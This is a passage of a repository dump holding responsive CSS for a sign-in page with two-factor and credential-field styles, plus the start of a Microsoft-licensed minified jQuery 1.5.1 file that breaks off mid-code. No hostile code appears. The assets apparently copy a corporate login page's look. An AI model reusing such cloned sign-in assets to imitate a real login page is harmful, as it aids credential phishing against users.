| .tfa_options_title_text { 913 | padding-bottom: 10px; 914 | } 915 | 916 | .tfa_error_text { 917 | margin-top: 10px; 918 | } 919 | 920 | .tfa_results_text { 921 | margin-bottom: 10px; 922 | } 923 | 924 | .tfa_options { 925 | margin-top: 20px; 926 | } 927 | 928 | .tfa_option_link_container { 929 | margin-top: 5px; 930 | } 931 | 932 | div#tfa_code_container { 933 | opacity: 1; 934 | transition: visibility 1s; 935 | -moz-transition: visibility 1s; 936 | -webkit-transition: visibility 1s; 937 | -o-transition: visibility 1s; /* IE10+ */ 938 | transition-property: opacity visibility; 939 | transition-duration: 1s; 940 | margin-bottom: 10px; 941 | margin-top: -10px; 942 | } 943 | 944 | .push_down_pip { 945 | margin-top:10px 946 | } 947 | 948 | #tfa_disabled_alert { 949 | margin-top: 20px; 950 | } 951 | 952 | #tfa_switch_user_container { 953 | margin-top: 5px; 954 | } 955 | 956 | #tfa_more_info_help_link { 957 | margin-top: 5px; 958 | } 959 | 960 | #boiler_plate { 961 | padding-top: 20px; 962 | padding-bottom: 20px; 963 | } 964 | 965 | @media only screen and (max-height: 820px), (max-device-height: 820px) { 966 | .inner_container { 967 | padding-top: 45px; 968 | } 969 | .login_workload_logo_container { 970 | margin-bottom: 30px; 971 | } 972 | .login_cred_container { 973 | margin-bottom: 20px; 974 | } 975 | } 976 | 977 | @media only screen and (max-height: 600px), (max-device-height: 600px) { 978 | .inner_container { 979 | padding-top: 30px; 980 | } 981 | .login_workload_logo_container { 982 | margin-bottom: 10px; 983 | } 984 | .login_cred_container { 985 | margin-bottom: 20px; 986 | } 987 | } 988 | 989 | @media only screen and (max-height: 575px), (max-device-height: 575px) { 990 | .inner_container { 991 | padding-top: 30px; 992 | } 993 | .login_workload_logo_container { 994 | margin-bottom: 0px; 995 | } 996 | .login_cred_container { 997 | margin-bottom: 20px; 998 | } 999 | .login_guest_container { 1000 | padding-top: 10px; 1001 | margin-bottom: 30px; 1002 | } 1003 | .cred { 1004 | padding-bottom: 14em; 1005 | } 1006 | } 1007 | 1008 | @media only screen and (max-width: 600px), (max-device-width: 600px) 1009 | { 1010 | body { 1011 | background: #FFFFFF; 1012 | } 1013 | div#background_branding_container { 1014 | opacity: 0; 1015 | display: none; 1016 | } 1017 | #back_button_container { 1018 | margin-left: -30px; 1019 | } 1020 | .sticky_footer { 1021 | margin-top: -4em; 1022 | } 1023 | 1024 | } 1025 | 1026 | /* Horizontal phone oorientation */ 1027 | @media only screen and (max-width: 620px), (max-device-width: 620px) { 1028 | html { 1029 | background: #FFFFFF; 1030 | overflow: hidden; 1031 | } 1032 | 1033 | .tinytext { 1034 | font-size: 0.6em; 1035 | } 1036 | 1037 | .smalltext { 1038 | font-size: 0.7em; 1039 | } 1040 | 1041 | .normaltext { 1042 | font-size: 0.8em; 1043 | } 1044 | 1045 | .bigtext { 1046 | font-size: 1.0em; 1047 | } 1048 | 1049 | .gianttext { 1050 | font-size: 1.2em; 1051 | } 1052 | 1053 | div#background_branding_container { 1054 | opacity: 0; 1055 | z-index: -999; 1056 | display: none; 1057 | } 1058 | div#background_page_overlay { 1059 | display: none; 1060 | z-index: -999; 1061 | } 1062 | .login_panel { 1063 | position: relative; 1064 | float: none; 1065 | height: 100%; 1066 | width: 100%; 1067 | min-width: 360px; 1068 | margin: 0px; 1069 | padding: 0px; 1070 | z-index: 1; 1071 | padding-top: 0px; 1072 | overflow: auto; 1073 | } 1074 | #login_panel_center { 1075 | width: 320px; 1076 | } 1077 | #login_panel_right { 1078 | display: none; 1079 | } 1080 | img.workload_img { 1081 | max-width: 280px; 1082 | height: 30px; 1083 | width: auto; 1084 | } 1085 | .login_workload_logo_container { 1086 | margin-bottom: 0px; 1087 | max-width: 280px; 1088 | padding-left: 0px; 1089 | } 1090 | .login_cta_container { 1091 | margin-bottom: 0px; 1092 | max-width: 280px; 1093 | padding-left: 0px; 1094 | width: auto; 1095 | height: auto; 1096 | color: #333333; 1097 | } 1098 | .login_error_container { 1099 | margin-top : 4px; 1100 | margin-bottom : 4px; 1101 | padding: 0; 1102 | height : 20px; 1103 | } 1104 | .login_cred_field_container { 1105 | max-width: 280px; 1106 | } 1107 | .login_cred_options_container { 1108 | max-width: 280px; 1109 | padding-left: 0px; 1110 | } 1111 | .cta_text { 1112 | display: inline; 1113 | } 1114 | .login_cred_container { 1115 | margin-bottom: 20px; 1116 | } 1117 | 1118 | .login_guest_container { 1119 | max-width: 280px; 1120 | padding-right: 5px; 1121 | } 1122 | 1123 | span.placeholder { 1124 | width: 280px; 1125 | padding-left: 10px; 1126 | } 1127 | 1128 | div.login_textfield { 1129 | max-width: 100%; 1130 | } 1131 | input.login_textfield { 1132 | max-width: 100%; 1133 | } 1134 | 1135 | div#cred_password_container { 1136 | transition: none; 1137 | -moz-transition: none; 1138 | -webkit-transition: none; 1139 | -o-transition: none; /* IE10+ */ 1140 | transition-property: none; 1141 | transition-duration: none; 1142 | } 1143 | 1144 | #redirect_messsage_container { 1145 | transition: opacity 1s; 1146 | -moz-transition: opacity 1s; 1147 | -webkit-transition: opacity 1s; 1148 | -o-transition: opacity 1s; 1149 | transition-property: opacity; 1150 | transition-duration: 1s; 1151 | } 1152 | 1153 | .subtext { 1154 | transition: none; 1155 | -moz-transition-property: none; 1156 | -moz-transition-duration: none; 1157 | -webkit-transition-property: none; 1158 | -webkit-transition-duration: none; 1159 | -o-transition: none; 1160 | -o-transition-duration: none; 1161 | transition-property: none; 1162 | transition-duration: none; 1163 | } 1164 | 1165 | .login_guest_container { 1166 | width: 100%; 1167 | } 1168 | .footer { 1169 | width: 100%; 1170 | max-width: 380px; 1171 | margin: auto; 1172 | display: inline-block; 1173 | } 1174 | span.corporate_footer { 1175 | float: none; 1176 | width: 100%; 1177 | padding: 0px; 1178 | } 1179 | .corp_link:first-child { 1180 | padding: 0px; 1181 | } 1182 | table.user_tile { 1183 | max-width: 320px; 1184 | } 1185 | } 1186 | 1187 | /* cellphone resolution vertical orientation resolution. */ 1188 | @media only screen and (min-height: 250px) and (max-width: 450px), 1189 | (min-device-height: 250px) and (max-device-width: 450px) { 1190 | html { 1191 | background: #FFFFFFOB; 1192 | overflow: hidden; 1193 | } 1194 | 1195 | .tinytext { 1196 | font-size: 0.6em; 1197 | } 1198 | 1199 | .smalltext { 1200 | font-size: 0.7em; 1201 | } 1202 | 1203 | .normaltext { 1204 | font-size: 0.8em; 1205 | } 1206 | 1207 | .bigtext { 1208 | font-size: 0.9em; 1209 | } 1210 | 1211 | .gianttext { 1212 | font-size: 1.2em; 1213 | } 1214 | div#background_branding_container { 1215 | opacity: 0; 1216 | z-index: -999; 1217 | display: none; 1218 | } 1219 | #background_background_image { 1220 | display: none; 1221 | } 1222 | div#background_page_overlay { 1223 | display: none; 1224 | z-index: -999; 1225 | } 1226 | 1227 | .login_panel_layout, .login_panel_layout_row { 1228 | width: 100%; 1229 | } 1230 | 1231 | #login_panel_left { 1232 | width: 40px; 1233 | } 1234 | #login_panel_center { 1235 | width: 250px; 1236 | width: calc(100% - 80px); 1237 | } 1238 | #login_panel_right { 1239 | display: none; 1240 | } 1241 | .login_panel { 1242 | /* position: relative; */ 1243 | float: none; 1244 | height: 100%; 1245 | width: 100%; 1246 | min-width: 220px; 1247 | margin: 0px; 1248 | padding: 0px; 1249 | z-index: 1; 1250 | padding-top: 0px; 1251 | overflow: auto; 1252 | } 1253 | .inner_container { 1254 | width: 100%; 1255 | } 1256 | img.workload_img { 1257 | max-width: 100%; 1258 | height: 30px; 1259 | width: auto; 1260 | } 1261 | .login_workload_logo_container { 1262 | margin-bottom: 10px; 1263 | max-width: 100%; 1264 | padding-left: 0px; 1265 | } 1266 | .login_cta_container { 1267 | margin-bottom: 0px; 1268 | width: auto; 1269 | height: auto; 1270 | max-width: 100%; 1271 | padding-left: 0px; 1272 | } 1273 | .login_cred_container { 1274 | margin-bottom: 60px; 1275 | } 1276 | .login_cred_field_container { 1277 | display: list-item; 1278 | width: 100%; 1279 | height: auto; 1280 | } 1281 | 1282 | .login_user_chooser { 1283 | width: 100%; 1284 | } 1285 | .login_cred_options_container { 1286 | width: 100%; 1287 | margin: 0px; 1288 | padding: 0px; 1289 | max-width: 220px; 1290 | } 1291 | 1292 | .cred_sign_in_button { 1293 | margin-bottom: 0px; 1294 | } 1295 | 1296 | .login_guest_container { 1297 | width: 100%; 1298 | padding-right: 0px; /* ltr */ 1299 | } 1300 | 1301 | span.placeholder { 1302 | width: 100%; 1303 | padding-left: 10px; /* ltr */ 1304 | } 1305 | 1306 | div.login_textfield { 1307 | width: 100%; 1308 | padding: 0px; 1309 | margin: 0px; 1310 | } 1311 | input.login_textfield { 1312 | width: 100%; 1313 | margin: 0px; 1314 | margin-left: 0px; /* ltr */ 1315 | margin-right: 0px; /* ltr */ 1316 | } 1317 | 1318 | div#cred_password_container { 1319 | transition: none; 1320 | -moz-transition: none; 1321 | -webkit-transition: none; 1322 | -o-transition: none; 1323 | transition-property: none; 1324 | transition-duration: none; 1325 | } 1326 | 1327 | #redirect_message_container { 1328 | width: 100%; 1329 | max-width: 100%; 1330 | 1331 | transition: opacity 1s; 1332 | -moz-transition: opacity 1s; 1333 | -webkit-transition: opacity 1s; 1334 | -o-transition: opacity 1s; 1335 | transition-property: opacity; 1336 | transition-duration: 1s; 1337 | } 1338 | 1339 | #redirect_cta_text { 1340 | width: 100%; 1341 | max-width: 100%; 1342 | margin-bottom: 10px; 1343 | } 1344 | 1345 | .progress { 1346 | margin-left: 15px; 1347 | } 1348 | 1349 | .subtext { 1350 | transition: none; 1351 | -moz-transition-property: none; 1352 | -moz-transition-duration: none; 1353 | -webkit-transition-property: none; 1354 | -webkit-transition-duration: none; 1355 | -o-transition: none; 1356 | -o-transition-duration: none; 1357 | transition-property: none; 1358 | transition-duration: none; 1359 | } 1360 | 1361 | .footer { 1362 | width: 100%; 1363 | max-width: 100%; 1364 | margin: 0 auto; 1365 | height: 50px; 1366 | } 1367 | span.corporate_footer { 1368 | float: none; 1369 | width: 100%; 1370 | padding: 0px; 1371 | } 1372 | .corp_link:first-child { 1373 | padding: 0px; 1374 | } 1375 | table.user_tile { 1376 | max-width: 100%; 1377 | } 1378 | .sticky_footer { 1379 | margin-top: -4.5em; 1380 | } 1381 | 1382 | .email_discovery 1383 | { 1384 | margin-top: 30px; 1385 | } 1386 | .cred { 1387 | padding-bottom: 18em; 1388 | } 1389 | } 1390 | 1391 | @media only screen and (max-width: 300px), (max-device-width: 300px) { 1392 | #login_panel_left { 1393 | width: 15px;; 1394 | } 1395 | } 1396 | 1397 | @media only screen and (max-width: 270px), (max-device-width: 270px) { 1398 | #login_panel_left { 1399 | display: none; 1400 | } 1401 | #login_panel_center { 1402 | width: 210px; 1403 | width: calc(100% - 30px); 1404 | } 1405 | table.user_tile { 1406 | max-width: 100%; 1407 | } 1408 | #redirect_cta_text { 1409 | width: 100%; 1410 | max-width: 100%; 1411 | } 1412 | #redirect_message_container { 1413 | width: 100%; 1414 | max-width: 100%; 1415 | } 1416 | .login_panel { 1417 | width: 100%; 1418 | min-width: 100%; 1419 | } 1420 | img.workload_img { 1421 | max-width: 100%; 1422 | width: auto; 1423 | } 1424 | .login_workload_logo_container { 1425 | max-width: 100%; 1426 | } 1427 | .login_cta_container { 1428 | max-width: 100%; 1429 | } 1430 | .login_cred_field_container { 1431 | width: 100%; 1432 | } 1433 | .login_cred_options_container { 1434 | width: 100%; 1435 | max-width: 100%; 1436 | } 1437 | .login_guest_container { 1438 | width: 100%; 1439 | } 1440 | span.placeholder { 1441 | width: 100%; 1442 | } 1443 | div.login_textfield { 1444 | width: 100%; 1445 | } 1446 | input.login_textfield { 1447 | width: 100%; 1448 | } 1449 | } 1450 | 1451 | 1452 | /*************** Slide/Fade in from left to right. *****************/ 1453 | /* Supported browsers IE10+, Chrome, Firefox, Safari, Android 4.0+ */ 1454 | .slide 1455 | { 1456 | -webkit-animation-duration: 0.5s; 1457 | -webkit-animation-name: commonFadeInFrames, slideLTransformFrames; 1458 | -webkit-animation-fill-mode: both; 1459 | -moz-animation-duration: 0.5s; 1460 | -moz-animation-name: commonFadeInFrames, slideLTransformFrames; 1461 | -moz-animation-fill-mode: both; 1462 | -ms-animation-duration: 0.5s; 1463 | -ms-animation-name: commonFadeInFrames, slideLTransformFrames; 1464 | -ms-animation-fill-mode: both; 1465 | animation-duration: 0.5s; 1466 | animation-name: commonFadeInFrames, slideLTransformFrames; 1467 | animation-fill-mode: both; 1468 | } 1469 | @-webkit-keyframes slideLTransformFrames 1470 | { 1471 | from { -webkit-transform:translate(-40px, 0px); -webkit-animation-timing-function: cubic-bezier(0,0,0,1); } 1472 | to { -webkit-transform:translate(0px, 0px); } 1473 | } 1474 | @-moz-keyframes slideLTransformFrames 1475 | { 1476 | from { -moz-transform:translate(-40px, 0px); -moz-animation-timing-function: cubic-bezier(0,0,0,1); } 1477 | to { -moz-transform:translate(0px, 0px); } 1478 | } 1479 | @-ms-keyframes slideLTransformFrames 1480 | { 1481 | from { -ms-transform:translate(-40px, 0px); -ms-animation-timing-function: cubic-bezier(0,0,0,1); } 1482 | to { -ms-transform:translate(0px, 0px); } 1483 | } 1484 | @keyframes slideLTransformFrames 1485 | { 1486 | from { transform:translate(-40px, 0px); animation-timing-function: cubic-bezier(0,0,0,1); } 1487 | to { transform:translate(0px, 0px); } 1488 | } 1489 | 1490 | /* Common keyframe definitions for many fade in animations */ 1491 | @-webkit-keyframes commonFadeInFrames 1492 | { 1493 | from { opacity: 0; -webkit-animation-timing-function: cubic-bezier(0,0,1,1); } 1494 | to { opacity: 1; } 1495 | } 1496 | @-moz-keyframes commonFadeInFrames 1497 | { 1498 | from { opacity: 0; -moz-animation-timing-function: cubic-bezier(0,0,1,1); } 1499 | to { opacity: 1; } 1500 | } 1501 | @-ms-keyframes commonFadeInFrames 1502 | { 1503 | from { opacity: 0; -ms-animation-timing-function: cubic-bezier(0,0,1,1); } 1504 | to { opacity: 1; } 1505 | } 1506 | @keyframes commonFadeInFrames 1507 | { 1508 | from { opacity: 0; animation-timing-function: cubic-bezier(0,0,1,1); } 1509 | to { opacity: 1; } 1510 | } -------------------------------------------------------------------------------- /static/jquery.1.5.1.min.js: -------------------------------------------------------------------------------- 1 | /* 2 | * Microsoft grants you the right to use these script files for the sole purpose of either: 3 | * (i) interacting through your browser with the Microsoft website, subject to the website’s 4 | * terms of use; or (ii) using the files as included with a Microsoft product subject to that 5 | * product’s license terms. Microsoft reserves all other rights to the files not expressly 6 | * granted by Microsoft, whether by implication, estoppel or otherwise. The notices and 7 | * licenses below are for informational purposes only. 8 | */ 9 | /* 10 | * Provided for Informational Purposes Only 11 | * MIT License 12 | * Permission is hereby granted, free of charge, to any person obtaining 13 | * a copy of this software and associated documentation files (the 14 | * "Software"), to deal in the Software without restriction, including 15 | * without limitation the rights to use, copy, modify, merge, publish, 16 | * distribute, sublicense, and/or sell copies of the Software, and to 17 | * permit persons to whom the Software is furnished to do so, subject to 18 | * the following conditions: 19 | * 20 | * The above copyright notice and this permission notice shall be 21 | * included in all copies or substantial portions of the Software. 22 | * 23 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 24 | * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 25 | * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 26 | * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE 27 | * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION 28 | * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION 29 | * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 30 | */ 31 | /*! 32 | * jQuery JavaScript Library v1.5 33 | * http://jquery.com/ 34 | * 35 | * Copyright 2011, John Resig 36 | * 37 | * Includes Sizzle.js 38 | * http://sizzlejs.com/ 39 | * Copyright 2011, The Dojo Foundation 40 | * 41 | * Date: Mon Jan 31 08:31:29 2011 -0500 42 | */ 43 | (function(a,b){function cg(a){return d.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cd(a){if(!bZ[a]){var b=d("<"+a+">").appendTo("body"),c=b.css("display");b.remove();if(c==="none"||c==="")c="block";bZ[a]=c}return bZ[a]}function cc(a,b){var c={};d.each(cb.concat.apply([],cb.slice(0,b)),function(){c[this]=a});return c}function bY(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function bX(){try{return new a.XMLHttpRequest}catch(b){}}function bW(){d(a).unload(function(){for(var a in bU)bU[a](0,1)})}function bQ(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var e=a.dataTypes,f={},g,h,i=e.length,j,k=e[0],l,m,n,o,p;for(g=1;g=0===c})}function N(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function F(a,b){return(a&&a!=="*"?a+".":"")+b.replace(r,"`").replace(s,"&")}function E(a){var b,c,e,f,g,h,i,j,k,l,m,n,o,q=[],r=[],s=d._data(this,"events");if(a.liveFired!==this&&s&&s.live&&!a.target.disabled&&(!a.button||a.type!=="click")){a.namespace&&(n=new RegExp("(^|\\.)"+a.namespace.split(".").join("\\.(?:.*\\.)?")+"(\\.|$)")),a.liveFired=this;var t=s.live.slice(0);for(i=0;ic)break;a.currentTarget=f.elem,a.data=f.handleObj.data,a.handleObj=f.handleObj,o=f.handleObj.origHandler.apply(f.elem,arguments);if(o===!1||a.isPropagationStopped()){c=f.level,o===!1&&(b=!1);if(a.isImmediatePropagationStopped())break}}return b}}function C(a,c,e){var f=d.extend({},e[0]);f.type=a,f.originalEvent={},f.liveFired=b,d.event.handle.call(c,f),f.isDefaultPrevented()&&e[0].preventDefault()}function w(){return!0}function v(){return!1}function g(a){for(var b in a)if(b!=="toJSON")return!1;return!0}function f(a,c,f){if(f===b&&a.nodeType===1){f=a.getAttribute("data-"+c);if(typeof f==="string"){try{f=f==="true"?!0:f==="false"?!1:f==="null"?null:d.isNaN(f)?e.test(f)?d.parseJSON(f):f:parseFloat(f)}catch(g){}d.data(a,c,f)}else f=b}return f}var c=a.document,d=function(){function I(){if(!d.isReady){try{c.documentElement.doScroll("left")}catch(a){setTimeout(I,1);return}d.ready()}}var d=function(a,b){return new d.fn.init(a,b,g)},e=a.jQuery,f=a.$,g,h=/^(?:[^<]*(<[\w\W]+>)[^>]*$|#([\w\-]+)$)/,i=/\S/,j=/^\s+/,k=/\s+$/,l=/\d/,m=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,n=/^[\],:{}\s]*$/,o=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,q=/(?:^|:|,)(?:\s*\[)+/g,r=/(webkit)[ \/]([\w.]+)/,s=/(opera)(?:.*version)?[ \/]([\w.]+)/,t=/(msie) ([\w.]+)/,u=/(mozilla)(?:.*? rv:([\w.]+))?/,v=navigator.userAgent,w,x=!1,y,z="then done fail isResolved isRejected promise".split(" "),A,B=Object.prototype.toString,C=Object.prototype.hasOwnProperty,D=Array.prototype.push,E=Array.prototype.slice,F=String.prototype.trim,G=Array.prototype.indexOf,H={};d.fn=d.prototype={constructor:d,init:function(a,e,f){var g,i,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a==="body"&&!e&&c.body){this.context=c,this[0]=c.body,this.selector="body",this.length=1;return this}if(typeof a==="string"){g=h.exec(a);if(!g||!g[1]&&e)return!e||e.jquery?(e||f).find(a):this.constructor(e).find(a);if(g[1]){e=e instanceof d?e[0]:e,k=e?e.ownerDocument||e:c,j=m.exec(a),j?d.isPlainObject(e)?(a=[c.createElement(j[1])],d.fn.attr.call(a,e,!0)):a=[k.createElement(j[1])]:(j=d.buildFragment([g[1]],[k]),a=(j.cacheable?d.clone(j.fragment):j.fragment).childNodes);return d.merge(this,a)}i=c.getElementById(g[2]);if(i&&i.parentNode){if(i.id!==g[2])return f.find(a);this.length=1,this[0]=i}this.context=c,this.selector=a;return this}if(d.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return d.makeArray(a,this)},selector:"",jquery:"1.5.1",length:0,size:function(){return this.length},toArray:function(){return E.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var e=this.constructor();d.isArray(a)?D.apply(e,a):d.merge(e,a),e.prevObject=this,e.context=this.context,b==="find"?e.selector=this.selector+(this.selector?" ":"")+c:b&&(e.selector=this.selector+"."+b+"("+c+")");return e},each:function(a,b){return d.each(this,a,b)},ready:function(a){d.bindReady(),y.done(a);return this},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(E.apply(this,arguments),"slice",E.call(arguments).join(","))},map:function(a){return this.pushStack(d.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:D,sort:[].sort,splice:[].splice},d.fn.init.prototype=d.fn,d.extend=d.fn.extend=function(){var a,c,e,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i==="boolean"&&(l=i,i=arguments[1]||{},j=2),typeof i!=="object"&&!d.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j0)return;y.resolveWith(c,[d]),d.fn.trigger&&d(c).trigger("ready").unbind("ready")}},bindReady:function(){if(!x){x=!0;if(c.readyState==="complete")return setTimeout(d.ready,1);if(c.addEventListener)c.addEventListener("DOMContentLoaded",A,!1),a.addEventListener("load",d.ready,!1);else if(c.attachEvent){c.attachEvent("onreadystatechange",A),a.attachEvent("onload",d.ready);var b=!1;try{b=a.frameElement==null}catch(e){}c.documentElement.doScroll&&b&&I()}}},isFunction:function(a){return d.type(a)==="function"},isArray:Array.isArray||function(a){return d.type(a)==="array"},isWindow:function(a){return a&&typeof a==="object"&&"setInterval"in a},isNaN:function(a){return a==null||!l.test(a)||isNaN(a)},type:function(a){return a==null?String(a):H[B.call(a)]||"object"},isPlainObject:function(a){if(!a||d.type(a)!=="object"||a.nodeType||d.isWindow(a))return!1;if(a.constructor&&!C.call(a,"constructor")&&!C.call(a.constructor.prototype,"isPrototypeOf"))return!1;var c;for(c in a){}return c===b||C.call(a,c)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw a},parseJSON:function(b){if(typeof b!=="string"||!b)return null;b=d.trim(b);if(n.test(b.replace(o,"@").replace(p,"]").replace(q,"")))return a.JSON&&a.JSON.parse?a.JSON.parse(b):(new Function("return "+b))();d.error("Invalid JSON: "+b)},parseXML:function(b,c,e){a.DOMParser?(e=new DOMParser,c=e.parseFromString(b,"text/xml")):(c=new ActiveXObject("Microsoft.XMLDOM"),c.async="false",c.loadXML(b)),e=c.documentElement,(!e||!e.nodeName||e.nodeName==="parsererror")&&d.error("Invalid XML: "+b);return c},noop:function(){},globalEval:function(a){if(a&&i.test(a)){var b=c.head||c.getElementsByTagName("head")[0]||c.documentElement,e=c.createElement("script");d.support.scriptEval()?e.appendChild(c.createTextNode(a)):e.text=a,b.insertBefore(e,b.firstChild),b.removeChild(e)}},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,e){var f,g=0,h=a.length,i=h===b||d.isFunction(a);if(e){if(i){for(f in a)if(c.apply(a[f],e)===!1)break}else for(;g1){var f=E.call(arguments,0),g=b,h=function(a){return function(b){f[a]=arguments.length>1?E.call(arguments,0):b,--g||c.resolveWith(e,f)}};while(b--)a=f[b],a&&d.isFunction(a.promise)?a.promise().then(h(b),c.reject):--g;g||c.resolveWith(e,f)}else c!==a&&c.resolve(a);return e},uaMatch:function(a){a=a.toLowerCase();var b=r.exec(a)||s.exec(a)||t.exec(a)||a.indexOf("compatible")<0&&u.exec(a)||[];return{browser:b[1]||"",version:b[2]||"0"}},sub:function(){function a(b,c){return new a.fn.init(b,c)}d.extend(!0,a,this),a.superclass=this,a.fn=a.prototype=this(),a.fn.constructor=a,a.subclass=this.subclass,a.fn.init=function b(b,c){c&&c instanceof d&&!(c instanceof a)&&(c=a(c));return d.fn.init.call(this,b,c,e)},a.fn.init.prototype=a.fn;var e=a(c);return a},browser:{}}),y=d._Deferred(),d.each("Boolean Number String Function Array Date RegExp Object".split(" "),function(a,b){H["[object "+b+"]"]=b.toLowerCase()}),w=d.uaMatch(v),w.browser&&(d.browser[w.browser]=!0,d.browser.version=w.version),d.browser.webkit&&(d.browser.safari=!0),G&&(d.inArray=function(a,b){return G.call(b,a)}),i.test(" ")&&(j=/^[\s\xA0]+/,k=/[\s\xA0]+$/),g=d(c),c.addEventListener?A=function(){c.removeEventListener("DOMContentLoaded",A,!1),d.ready()}:c.attachEvent&&(A=function(){c.readyState==="complete"&&(c.detachEvent("onreadystatechange",A),d.ready())});return d}();(function(){d.support={};var b=c.createElement("div");b.style.display="none",b.innerHTML="
a";var e=b.getElementsByTagName("*"),f=b.getElementsByTagName("a")[0],g=c.createElement("select"),h=g.appendChild(c.createElement("option")),i=b.getElementsByTagName("input")[0];if(e&&e.length&&f){d.support={leadingWhitespace:b.firstChild.nodeType===3,tbody:!b.getElementsByTagName("tbody").length,htmlSerialize:!!b.getElementsByTagName("link").length,style:/red/.test(f.getAttribute("style")),hrefNormalized:f.getAttribute("href")==="/a",opacity:/^0.55$/.test(f.style.opacity),cssFloat:!!f.style.cssFloat,checkOn:i.value==="on",optSelected:h.selected,deleteExpando:!0,optDisabled:!1,checkClone:!1,noCloneEvent:!0,noCloneChecked:!0,boxModel:null,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableHiddenOffsets:!0},i.checked=!0,d.support.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,d.support.optDisabled=!h.disabled;var j=null;d.support.scriptEval=function(){if(j===null){var b=c.documentElement,e=c.createElement("script"),f="script"+d.now();try{e.appendChild(c.createTextNode("window."+f+"=1;"))}catch(g){}b.insertBefore(e,b.firstChild),a[f]?(j=!0,delete a[f]):j=!1,b.removeChild(e),b=e=f=null}return j};try{delete b.test}catch(k){d.support.deleteExpando=!1}!b.addEventListener&&b.attachEvent&&b.fireEvent&&(b.attachEvent("onclick",function l(){d.support.noCloneEvent=!1,b.detachEvent("onclick",l)}),b.cloneNode(!0).fireEvent("onclick")),b=c.createElement("div"),b.innerHTML="";var m=c.createDocumentFragment();m.appendChild(b.firstChild),d.support.checkClone=m.cloneNode(!0).cloneNode(!0).lastChild.checked,d(function(){var a=c.createElement("div"),b=c.getElementsByTagName("body")[0];if(b){a.style.width=a.style.paddingLeft="1px",b.appendChild(a),d.boxModel=d.support.boxModel=a.offsetWidth===2,"zoom"in a.style&&(a.style.display="inline",a.style.zoom=1,d.support.inlineBlockNeedsLayout=a.offsetWidth===2,a.style.display="",a.innerHTML="
",d.support.shrinkWrapBlocks=a.offsetWidth!==2),a.innerHTML="
t
";var e=a.getElementsByTagName("td");d.support.reliableHiddenOffsets=e[0].offsetHeight===0,e[0].style.display="",e[1].style.display="none",d.support.reliableHiddenOffsets=d.support.reliableHiddenOffsets&&e[0].offsetHeight===0,a.innerHTML="",b.removeChild(a).style.display="none",a=e=null}});var n=function(a){var b=c.createElement("div");a="on"+a;if(!b.attachEvent)return!0;var d=a in b;d||(b.setAttribute(a,"return;"),d=typeof b[a]==="function"),b=null;return d};d.support.submitBubbles=n("submit"),d.support.changeBubbles=n("change"),b=e=f=null}})();var e=/^(?:\{.*\}|\[.*\])$/;d.extend({cache:{},uuid:0,expando:"jQuery"+(d.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){a=a.nodeType?d.cache[a[d.expando]]:a[d.expando];return!!a&&!g(a)},data:function(a,c,e,f){if(d.acceptData(a)){var g=d.expando,h=typeof c==="string",i,j=a.nodeType,k=j?d.cache:a,l=j?a[d.expando]:a[d.expando]&&d.expando;if((!l||f&&l&&!k[l][g])&&h&&e===b)return;l||(j?a[d.expando]=l=++d.uuid:l=d.expando),k[l]||(k[l]={},j||(k[l].toJSON=d.noop));if(typeof c==="object"||typeof c==="function")f?k[l][g]=d.extend(k[l][g],c):k[l]=d.extend(k[l],c);i=k[l],f&&(i[g]||(i[g]={}),i=i[g]),e!==b&&(i[c]=e);if(c==="events"&&!i[c])return i[g]&&i[g].events;return h?i[c]:i}},removeData:function(b,c,e){if(d.acceptData(b)){var f=d.expando,h=b.nodeType,i=h?d.cache:b,j=h?b[d.expando]:d.expando;if(!i[j])return;if(c){var k=e?i[j][f]:i[j];if(k){delete k[c];if(!g(k))return}}if(e){delete i[j][f];if(!g(i[j]))return}var l=i[j][f];d.support.deleteExpando||i!=a?delete i[j]:i[j]=null,l?(i[j]={},h||(i[j].toJSON=d.noop),i[j][f]=l):h&&(d.support.deleteExpando?delete b[d.expando]:b.removeAttribute?b.removeAttribute(d.expando):b[d.expando]=null)}},_data:function(a,b,c){return d.data(a,b,c,!0)},acceptData:function(a){if(a.nodeName){var b=d.noData[a.nodeName.toLowerCase()];if(b)return b!==!0&&a.getAttribute("classid")===b}return!0}}),d.fn.extend({data:function(a,c){var e=null;if(typeof a==="undefined"){if(this.length){e=d.data(this[0]);if(this[0].nodeType===1){var g=this[0].attributes,h;for(var i=0,j=g.length;i-1)return!0;return!1},val:function(a){if(!arguments.length){var c=this[0];if(c){if(d.nodeName(c,"option")){var 